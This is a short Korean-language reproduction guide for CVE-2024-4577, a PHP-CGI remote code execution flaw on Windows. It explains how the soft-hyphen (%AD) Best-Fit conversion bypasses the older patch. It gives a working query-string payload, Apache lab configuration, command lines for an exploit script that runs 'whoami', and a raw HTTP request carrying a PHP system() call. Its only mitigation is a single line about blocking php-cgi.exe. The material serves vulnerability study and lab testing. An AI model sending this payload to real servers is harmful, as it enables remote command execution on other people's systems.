
CVE 재현: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577은 Windows의 PHP CGI 구현에서 발생하는 치명적인 원격 코드 실행 취약점입니다. 이 취약점은 Windows의 "Best-Fit" 코드 페이지 변환을 악용하여 CGI 쿼리 문자열을 통해 명령줄 인자를 몰래 전달함으로써 기존 CVE-2012-1823에 대한 패치를 우회합니다.
PHP가 CGI 모듈(php-cgi.exe)로 실행될 때, 쿼리 문자열을 명령줄 인자로 파싱합니다. CVE-2012-1823에 대한 기존 패치는 인자 주입을 방지하기 위해 -(하이픈, 0x2D) 문자를 차단했습니다. 그러나 중국어, 일본어, 한국어 등 특정 코드 페이지를 사용하는 Windows 시스템에서는 "Best-Fit" 문자 매핑 기능이 특정 유니코드 문자를 가장 가까운 ASCII 문자로 변환합니다.
핵심 우회 방법은 소프트 하이픈(0xAD / U+00AD) 문자를 사용하는 것입니다. 요청이 쿼리 문자열에 %AD를 전달하고 서버의 로케일이 "Best-Fit" 코드 페이지를 사용하는 경우, Windows는 내부적으로 0xAD를 0x2D(하이픈)로 변환하여 필터에도 불구하고 공격자가 PHP 인자를 주입할 수 있게 합니다.
예시: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input은 -d allow_url_include=1 -d auto_prepend_file=php://input이 됩니다.
구성 요구 사항:
php-cgi.exe로 실행되는 PHP CGImod_cgi 또는 mod_cgid가 구성된 Apache 웹 서버ScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
조작된 페이로드는 쿼리 문자열을 통해 PHP 구성 지시어를 주입합니다:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe에 대한 요청 차단